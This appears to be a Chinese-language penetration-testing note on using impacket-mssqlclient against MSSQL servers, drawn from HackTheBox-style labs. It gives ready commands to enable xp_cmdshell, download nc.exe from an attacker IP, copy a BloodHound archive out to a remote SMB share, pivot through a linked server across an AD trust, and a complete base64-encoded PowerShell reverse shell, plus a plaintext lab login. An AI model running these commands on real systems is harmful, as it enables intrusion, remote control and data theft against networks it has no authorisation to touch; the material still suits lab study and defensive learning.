【mssql】impacket-mssqlclient

1. 安装

Impacket 包自带

2. 利用

#连接(也支持用哈希)
 impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.129.58.102' -windows-auth

2.1. 信息枚举

enum_db                    - enum databases
enum_links                 - enum linked servers
enum_impersonate           - check logins that can be impersonated
enum_logins                - enum login users
enum_users                 - enum current db users
enum_owner                 - enum db owner

2.2. 提权

先看自己是不是 SA 权限,不然无法开启 xp_cmdshell 也就无法执行命令

enable_xp_cmdshell #开启xp_cmdshell

#执行命令 下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'

#弹shell
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0...

2.3. 传文件

EXEC xp_cmdshell 'copy c:\users\mssqlsvc\20251011221915_BloodHound.zip \\10.10.14.58\share\bloodhound.zip'

2.4. AD Trusts中的利用

1:先用 enum_links 枚举是否有链接服务器(跨域信任关系)
Pasted image 20251008222507.png

  • 这里有一个指向 DC02.darkzero.ext 的链接服务器
  • DC01 上的用户为 darkzero\john.w ,切换到 DC02 后继承 dc01_sql_svc 的权限

2: 切换到链接服务器

这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w 用户在DC01的mssql的角色为 guest 但在 DC02 的mssql服务上的角色是 SA

use_link [DC02.darkzero.ext]

Pasted image 20251008232733.png

3:提权执行命令反弹shell

enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.58/nc.exe -Outfile c:\users\mssqlsvc\nc.exe"'

#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAIAAxADAALgAxADAALgAxADQALgA2ADIAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Pasted image 20251008233020.png

2.4.1. 后续利用

后续就是进行信息收集然后根据情况而定

2.5. 常见报错

2.5.1. Login failed for user

┌──(root㉿kali)-[~/Desktop/htb/Scrambled]
└─# impacket-mssqlclient -k -no-pass scrm.local/ksimpson@DC1.scrm.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.

用户没有权限访问mssql